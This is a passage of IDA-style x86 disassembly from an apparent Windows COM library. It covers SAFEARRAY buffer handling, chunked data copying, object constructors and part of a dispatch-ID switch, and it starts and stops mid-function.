		cmp	eax, ebp
		jz	short loc_69B561A2
		mov	ecx, [eax]
		push	1
		push	ebp
		push	ebp
		push	eax
		call	dword ptr [ecx+44h]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+60h]
		jmp	short loc_69B561AC
; ---------------------------------------------------------------------------


loc_69B561A2:				; CODE XREF: sub_69B56167+22j
		cmp	[esi+2Ch], ebp
		jbe	short loc_69B561AC
		call	sub_69B560E0


loc_69B561AC:				; CODE XREF: sub_69B56167+1Bj
					; sub_69B56167+39j ...
		push	ebp
		lea	edi, [esi+14h]
		push	edi
		call	sub_69B17320
		push	ebp
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_69B17320
		push	0
		lea	ebp, [esi+24h]
		push	ebp
		call	sub_69B17320
		push	dword ptr [esi+1Ch]
		call	sub_69B1B2B7
		mov	esi, [esi+28h]
		test	esi, esi
		jz	short loc_69B561E1
		push	esi		; psa
		call	SafeArrayDestroy


loc_69B561E1:				; CODE XREF: sub_69B56167+71j
		push	ebp
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_69B2C65C
sub_69B56167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B561FC	proc near		; DATA XREF: .text:69B12808o

var_C		= dword	ptr -0Ch
ppvData		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jnz	short loc_69B5621C
		mov	eax, 80004005h
		jmp	loc_69B562FC
; ---------------------------------------------------------------------------


loc_69B5621C:				; CODE XREF: sub_69B561FC+14j
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+10h], 2
		mov	ecx, [ebx+20h]
		mov	[ebp+var_4], esi
		mov	[ebp+ppvData], ecx
		jnz	short loc_69B56239
		mov	esi, 80004005h
		jmp	loc_69B562F0
; ---------------------------------------------------------------------------


loc_69B56239:				; CODE XREF: sub_69B561FC+31j
		cmp	[ebx+14h], esi
		push	edi
		mov	dword ptr [ebx+10h], 1
		jnz	short loc_69B56253
		cmp	[ebx+2Ch], esi
		jnz	short loc_69B56253
		mov	[ebp+arg_8], esi
		jmp	loc_69B562E0
; ---------------------------------------------------------------------------


loc_69B56253:				; CODE XREF: sub_69B561FC+48j
					; sub_69B561FC+4Dj
		mov	edi, [ebp+arg_4]
		cmp	edi, esi
		jnz	short loc_69B5626B
		cmp	[ebp+arg_8], esi
		jbe	short loc_69B5626E
		mov	[ebp+var_4], 80030009h
		jmp	loc_69B562EC
; ---------------------------------------------------------------------------


loc_69B5626B:				; CODE XREF: sub_69B561FC+5Cj
		cmp	[ebp+arg_8], esi


loc_69B5626E:				; CODE XREF: sub_69B561FC+61j
		jz	short loc_69B562E0
		mov	eax, [ebx+2Ch]
		cmp	eax, esi
		jz	short loc_69B5628B
		lea	ecx, [ebp+ppvData]
		push	ecx		; ppvData
		push	eax		; psa
		call	SafeArrayAccessData
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_69B562EC
		jmp	short loc_69B562A3
; ---------------------------------------------------------------------------


loc_69B5628B:				; CODE XREF: sub_69B561FC+79j
		cmp	ecx, esi
		jnz	short loc_69B562A3
		mov	ecx, ebx
		call	sub_69B5611F
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jl	short loc_69B562EC
		mov	eax, [ebx+20h]
		mov	[ebp+ppvData], eax


loc_69B562A3:				; CODE XREF: sub_69B561FC+8Dj
					; sub_69B561FC+91j
		mov	eax, [ebx+24h]
		mov	edx, [ebp+arg_8]
		mov	ecx, [ebx+1Ch]
		lea	esi, [eax+edx]
		cmp	esi, ecx
		jbe	short loc_69B562BA
		sub	ecx, eax
		mov	[ebp+arg_8], ecx
		mov	edx, ecx


loc_69B562BA:				; CODE XREF: sub_69B561FC+B5j
		mov	esi, [ebp+ppvData]
		add	esi, eax
		mov	ecx, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		add	[ebx+24h], edx
		mov	ebx, [ebx+2Ch]
		test	ebx, ebx
		jz	short loc_69B562E0
		push	ebx		; psa
		call	SafeArrayUnaccessData


loc_69B562E0:				; CODE XREF: sub_69B561FC+52j
					; sub_69B561FC:loc_69B5626Ej ...
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B562EC
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx


loc_69B562EC:				; CODE XREF: sub_69B561FC+6Aj
					; sub_69B561FC+8Bj ...
		mov	esi, [ebp+var_4]
		pop	edi


loc_69B562F0:				; CODE XREF: sub_69B561FC+38j
		push	[ebp+var_C]
		call	dword_69B92944
		mov	eax, esi
		pop	ebx


loc_69B562FC:				; CODE XREF: sub_69B561FC+1Bj
		pop	esi
		leave
		retn	10h
sub_69B561FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B56301	proc near		; DATA XREF: .text:69B1282Co
		push	30h
		push	offset dword_69B56420
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_69B56326
		mov	eax, 80004005h
		jmp	loc_69B56417
; ---------------------------------------------------------------------------


loc_69B56326:				; CODE XREF: sub_69B56301+19j
		mov	[ebp-20h], edx
		mov	ebx, [ebp+0Ch]
		cmp	ebx, edx
		jnz	short loc_69B5633C
		mov	dword ptr [ebp-20h], 80030009h
		jmp	loc_69B5640B
; ---------------------------------------------------------------------------


loc_69B5633C:				; CODE XREF: sub_69B56301+2Dj
		push	12h
		pop	ecx
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		mov	dword ptr [ebx+4], 2
		mov	[ebp-4], edx
		mov	esi, [ebp+8]
		mov	eax, [esi+14h]
		mov	[ebp-24h], eax
		cmp	eax, edx
		jz	short loc_69B56373
		cmp	[esi+20h], edx
		jnz	short loc_69B56373
		mov	ecx, esi
		call	sub_69B5611F
		mov	[ebp-20h], eax
		test	eax, eax
		jl	loc_69B56407


loc_69B56373:				; CODE XREF: sub_69B56301+59j
					; sub_69B56301+5Ej
		mov	eax, [esi+1Ch]
		mov	[ebx+8], eax
		test	byte ptr [ebp+10h], 1
		jnz	loc_69B56407
		mov	esi, [esi+14h]
		mov	[ebp-28h], esi
		test	esi, esi
		jz	short loc_69B56407
		mov	[ebp-2Ch], esi
		mov	esi, [esi+48h]
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		test	esi, esi
		jz	short loc_69B56407
		mov	eax, [esi+8]
		mov	[ebp-38h], eax
		mov	[ebp-3Ch], eax
		lea	ebx, [eax+eax]
		lea	eax, [ebx+2]
		push	eax		; cb
		call	ds:CoTaskMemAlloc
		mov	edx, [ebp+0Ch]
		mov	[edx], eax
		test	eax, eax
		jnz	short loc_69B563C5
		mov	dword ptr [ebp-20h], 8007000Eh
		jmp	short loc_69B56407
; ---------------------------------------------------------------------------


loc_69B563C5:				; CODE XREF: sub_69B56301+B9j
		mov	esi, [esi+0Ch]
		mov	[ebp-40h], esi
		mov	ecx, ebx
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [edx]
		and	word ptr [ebx+eax], 0
		jmp	short loc_69B56407
; ---------------------------------------------------------------------------


loc_69B563E6:				; DATA XREF: .text:69B56424o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B563EF:				; DATA XREF: .text:69B56428o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B56407:				; CODE XREF: sub_69B56301+6Cj
					; sub_69B56301+7Cj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B5640B:				; CODE XREF: sub_69B56301+36j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B56417:				; CODE XREF: sub_69B56301+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B56301	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B56420	dd 0FFFFFFFFh			dd offset loc_69B563E6
		dd offset loc_69B563EF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5642C	proc near		; CODE XREF: sub_69B5669F+6Cp

ppvData		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		xor	edi, edi
		mov	ebx, ecx
		cmp	[ebx+2Ch], edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_4], esi
		mov	[ebp+var_C], edi
		jnz	short loc_69B5646E
		push	1000h		; cElements
		push	edi		; lLbound
		push	11h		; vt
		call	SafeArrayCreateVector
		cmp	eax, edi
		mov	[ebx+2Ch], eax
		mov	[ebx+30h], edi
		jnz	short loc_69B5646E
		mov	[ebp+var_C], 8007000Eh
		jmp	loc_69B564FF
; ---------------------------------------------------------------------------


loc_69B5646E:				; CODE XREF: sub_69B5642C+1Cj
					; sub_69B5642C+34j
		cmp	esi, edi
		jbe	loc_69B564FF
		jmp	short loc_69B5647A
; ---------------------------------------------------------------------------


loc_69B56478:				; CODE XREF: sub_69B5642C+CDj
		xor	edi, edi


loc_69B5647A:				; CODE XREF: sub_69B5642C+4Aj
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebx+30h]
		lea	edx, [eax+ecx]
		mov	[ebp+var_4], ecx
		mov	ecx, 1000h
		cmp	edx, ecx
		jbe	short loc_69B56494
		sub	ecx, eax
		mov	[ebp+var_4], ecx


loc_69B56494:				; CODE XREF: sub_69B5642C+61j
		lea	eax, [ebp+ppvData]
		push	eax		; ppvData
		push	dword ptr [ebx+2Ch] ; psa
		call	SafeArrayAccessData
		cmp	eax, edi
		mov	[ebp+var_C], eax
		jnz	short loc_69B564FF
		mov	edi, [ebx+30h]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	edi, [ebp+ppvData]
		lea	esi, [eax+edx]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+2Ch]
		mov	esi, eax
		add	[ebx+30h], esi
		mov	eax, [ebx+30h]
		mov	[ecx+10h], eax
		push	dword ptr [ebx+2Ch] ; psa
		call	SafeArrayUnaccessData
		sub	[ebp+arg_4], esi
		add	[ebp+var_8], esi
		cmp	dword ptr [ebx+30h], 1000h
		jb	short loc_69B564F5
		mov	ecx, ebx
		call	sub_69B560E0


loc_69B564F5:				; CODE XREF: sub_69B5642C+C0j
		cmp	[ebp+arg_4], 0
		ja	loc_69B56478


loc_69B564FF:				; CODE XREF: sub_69B5642C+3Dj
					; sub_69B5642C+44j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B5642C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B56509	proc near		; CODE XREF: sub_69B1C12C+2DD9p
					; sub_69B4311C+B5p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3677A
		push	[esp+8+arg_0]
		xor	edi, edi
		lea	ecx, [esi+14h]
		mov	dword ptr [esi], offset	off_69B127FC
		mov	dword ptr [esi+4], offset off_69B28B0C
		mov	[esi+10h], edi
		call	sub_69B1E084
		mov	[esi+18h], edi
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		mov	[esi+2Ch], edi
		mov	[esi+30h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B56509	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5654C	proc near		; DATA XREF: .text:off_69B28B0Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B56167
		test	[esp+4+arg_0], 1
		jz	short loc_69B56564
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B56564:				; CODE XREF: sub_69B5654C+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B5654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5656B	proc near		; CODE XREF: sub_69B4311C+138p
					; sub_69B46AC0+C7p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3677A
		push	[esp+8+arg_0]
		xor	edi, edi
		mov	dword ptr [esi], offset	off_69B127FC
		mov	dword ptr [esi+4], offset off_69B28B0C
		mov	[esi+10h], edi
		mov	[esi+14h], edi
		mov	[esi+18h], edi
		lea	ecx, [esi+28h]
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		mov	[esi+24h], edi
		call	sub_69B1E084
		mov	[esi+2Ch], edi
		mov	[esi+30h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5656B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B565AE	proc near		; CODE XREF: sub_69B57B5C+145p

pvarg		= VARIANTARG ptr -24h
var_14		= word ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B3677A
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B127FC
		mov	dword ptr [esi+4], offset off_69B28B0C
		mov	[esi+10h], eax
		mov	[esi+14h], eax
		mov	[esi+18h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+38h]
		test	eax, eax
		jl	short loc_69B56636
		mov	eax, [ebp+var_4]
		push	edi
		mov	edi, VariantInit
		mov	[esi+1Ch], eax
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	edi ; VariantInit
		lea	eax, [ebp+var_14]
		push	eax		; pvarg
		call	edi ; VariantInit
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+pvarg]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebx]
		push	ebx
		mov	[ebp+var_14], 3
		call	dword ptr [eax+3Ch]
		test	eax, eax
		pop	edi
		jl	short loc_69B56636
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[esi+2Ch], eax


loc_69B56636:				; CODE XREF: sub_69B565AE+48j
					; sub_69B565AE+80j
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B565AE	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5663E(SAFEARRAY *psa)

sub_69B5663E	proc near		; CODE XREF: sub_69B57B5C+88p

psa		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3677A
		xor	ebx, ebx
		cmp	[esp+0Ch+psa], ebx
		mov	dword ptr [esi], offset	off_69B127FC
		mov	dword ptr [esi+4], offset off_69B28B0C
		mov	[esi+10h], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	[esi+28h], ebx
		lea	edi, [esi+2Ch]
		mov	[edi], ebx
		mov	[esi+30h], ebx
		jz	short loc_69B56697
		push	edi		; ppsaOut
		push	[esp+10h+psa]	; psa
		call	SafeArrayCopy
		cmp	eax, ebx
		jz	short loc_69B5668F
		push	eax
		call	sub_69B2E8B8


loc_69B5668F:				; CODE XREF: sub_69B5663E+49j
		mov	eax, [edi]
		mov	eax, [eax+10h]
		mov	[esi+1Ch], eax


loc_69B56697:				; CODE XREF: sub_69B5663E+3Aj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B5663E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5669F	proc near		; DATA XREF: .text:69B1280Co
		push	28h
		push	offset dword_69B56810
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		call	dword_69B92948
		mov	ecx, eax
		mov	[ebp-20h], ecx
		cmp	ecx, ebx
		jz	short loc_69B566E2
		mov	esi, [ebp+8]
		cmp	dword ptr [esi+10h], 1
		jz	short loc_69B566DB
		mov	dword ptr [esi+10h], 2
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jnz	short loc_69B566EC
		cmp	[esi+28h], ebx
		jnz	short loc_69B566EC


loc_69B566DB:				; CODE XREF: sub_69B5669F+27j
		push	ecx
		call	dword_69B92944


loc_69B566E2:				; CODE XREF: sub_69B5669F+1Ej
		mov	eax, 80004005h
		jmp	loc_69B567B1
; ---------------------------------------------------------------------------


loc_69B566EC:				; CODE XREF: sub_69B5669F+35j
					; sub_69B5669F+3Aj
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B566FD
		mov	dword ptr [ebp-1Ch], 80030009h
		jmp	loc_69B567A5
; ---------------------------------------------------------------------------


loc_69B566FD:				; CODE XREF: sub_69B5669F+50j
		cmp	[esi+28h], ebx
		jz	short loc_69B56720
		mov	edi, [ebp+10h]
		push	edi
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_69B5642C
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	loc_69B567A5
		add	[esi+1Ch], edi
		jmp	short loc_69B5679C
; ---------------------------------------------------------------------------


loc_69B56720:				; CODE XREF: sub_69B5669F+61j
		lea	ebx, [esi+18h]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B56767
		push	dword ptr [eax+0E0h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, [esi+14h]
		mov	[ebp-30h], ecx
		call	sub_69B3E0AB
		mov	ecx, [esi+14h]
		mov	[ebp-34h], ecx
		push	ebx
		call	sub_69B3DE0E
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [esi+14h]
		mov	byte ptr [eax+0C9h], 1
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C


loc_69B56767:				; CODE XREF: sub_69B5669F+87j
		mov	edi, [ebp+10h]
		test	edi, edi
		jz	short loc_69B5679C
		mov	eax, [ebx]
		mov	ecx, [eax]
		push	0
		push	edi
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+44h]
		mov	[ebp-1Ch], eax
		add	[esi+1Ch], edi
		add	[esi+30h], edi
		cmp	dword ptr [esi+30h], 1000h
		jbe	short loc_69B5679C
		mov	ebx, [ebx]
		mov	eax, [ebx]
		push	0FFFFFFFFh
		push	ebx
		call	dword ptr [eax+60h]
		and	dword ptr [esi+30h], 0


loc_69B5679C:				; CODE XREF: sub_69B5669F+7Fj
					; sub_69B5669F+CDj ...
		mov	eax, [ebp+14h]
		test	eax, eax
		jz	short loc_69B567A5
		mov	[eax], edi


loc_69B567A5:				; CODE XREF: sub_69B5669F+59j
					; sub_69B5669F+76j ...
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		mov	eax, [ebp-1Ch]


loc_69B567B1:				; CODE XREF: sub_69B5669F+48j
		call	sub_69B1853C
		retn	10h
sub_69B5669F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B567B9	proc near		; DATA XREF: .text:69B56814o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B567B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B567C2	proc near		; DATA XREF: .text:69B56818o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+14h]
		mov	[ebp-38h], ecx
		push	eax
		call	sub_69B3E1E4
		jmp	short loc_69B567FE
; ---------------------------------------------------------------------------


loc_69B567F2:				; DATA XREF: .text:69B56820o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B567FB:				; DATA XREF: .text:69B56824o
		mov	esp, [ebp-18h]


loc_69B567FE:				; CODE XREF: sub_69B567C2+2Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B567A5
sub_69B567C2	endp

; ---------------------------------------------------------------------------
dword_69B56810	dd 0FFFFFFFFh			dd offset sub_69B567B9
		dd offset sub_69B567C2
		dd 0FFFFFFFFh
		dd offset loc_69B567F2
		dd offset loc_69B567FB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B56828	proc near		; CODE XREF: sub_69B59675+5j
					; sub_69B59800+5j
					; DATA XREF: ...

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B5683F
		mov	eax, 80004005h
		jmp	short loc_69B56890
; ---------------------------------------------------------------------------


loc_69B5683F:				; CODE XREF: sub_69B56828+Ej
		push	esi
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	21h
		push	offset off_69B996A8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_69B2CA1A
		mov	esi, eax
		cmp	esi, 80020006h
		jnz	short loc_69B56886
		movzx	eax, byte_69B98AD0
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	eax
		push	offset off_69B986D0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_69B2CA1A
		mov	esi, eax


loc_69B56886:				; CODE XREF: sub_69B56828+3Aj
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B56890:				; CODE XREF: sub_69B56828+15j
		pop	edi
		pop	ebp
		retn	18h
sub_69B56828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B56895	proc near		; CODE XREF: sub_69B5967F+5j
					; sub_69B5980A+5j
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B568AC
		mov	eax, 80004005h
		jmp	short loc_69B5690D
; ---------------------------------------------------------------------------


loc_69B568AC:				; CODE XREF: sub_69B56895+Ej
		mov	eax, [ebp+arg_4]
		cmp	eax, 1
		push	esi
		jle	short loc_69B568DE
		cmp	eax, 24h
		jge	short loc_69B568DE
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41180
		jmp	short loc_69B56901
; ---------------------------------------------------------------------------


loc_69B568DE:				; CODE XREF: sub_69B56895+1Ej
					; sub_69B56895+23j
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_0]
		push	offset dword_69B99AC8
		call	sub_69B2D258


loc_69B56901:				; CODE XREF: sub_69B56895+47j
		push	edi
		mov	esi, eax
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B5690D:				; CODE XREF: sub_69B56895+15j
		pop	edi
		pop	ebp
		retn	24h
sub_69B56895	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B56912	proc near		; DATA XREF: .data:69B99AE8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		cmp	eax, 3Bh
		push	ebx
		push	esi
		push	edi
		jg	loc_69B56C5E
		jz	loc_69B56C46
		cmp	eax, 2Dh
		jg	loc_69B56AC4
		jz	loc_69B56A98
		cmp	eax, 29h
		jg	loc_69B56A19
		jz	loc_69B569ED
		cmp	eax, 0FFFFFDF3h
		jz	loc_69B569D5
		cmp	eax, 26h
		jz	short loc_69B569BD
		cmp	eax, 27h
		jz	short loc_69B569A5
		cmp	eax, 28h
		jnz	loc_69B56E8D	; default
		cmp	[ebp+arg_C], 2
		jnz	short loc_69B56985
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0B4h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56985:				; CODE XREF: sub_69B56912+59j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B56993
		mov	eax, [eax]


loc_69B56993:				; CODE XREF: sub_69B56912+7Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+0B8h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B569A5:				; CODE XREF: sub_69B56912+49j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0B0h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B569BD:				; CODE XREF: sub_69B56912+44j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0ACh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B569D5:				; CODE XREF: sub_69B56912+3Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0ECh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B569ED:				; CODE XREF: sub_69B56912+30j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B569FD
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56A00
; ---------------------------------------------------------------------------


loc_69B569FD:				; CODE XREF: sub_69B56912+E2j
		mov	ecx, [eax+8]


loc_69B56A00:				; CODE XREF: sub_69B56912+E9j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0BCh]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56A19:				; CODE XREF: sub_69B56912+2Aj
		sub	eax, 2Ah
		jz	short loc_69B56A80
		dec	eax
		jz	short loc_69B56A54
		dec	eax
		jnz	loc_69B56E8D	; default
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56A38
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56A3B
; ---------------------------------------------------------------------------


loc_69B56A38:				; CODE XREF: sub_69B56912+11Dj
		mov	ecx, [eax+8]


loc_69B56A3B:				; CODE XREF: sub_69B56912+124j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0C8h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56A54:				; CODE XREF: sub_69B56912+10Dj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B56A64
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B56A67
; ---------------------------------------------------------------------------


loc_69B56A64:				; CODE XREF: sub_69B56912+149j
		mov	ecx, [eax+8]


loc_69B56A67:				; CODE XREF: sub_69B56912+150j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+0C4h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56A80:				; CODE XREF: sub_69B56912+10Aj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+0C0h]
		jmp	loc_69B56F25
; ---------------------------------------------------------------------------


loc_69B56A98:				; CODE XREF: sub_69B56912+21j
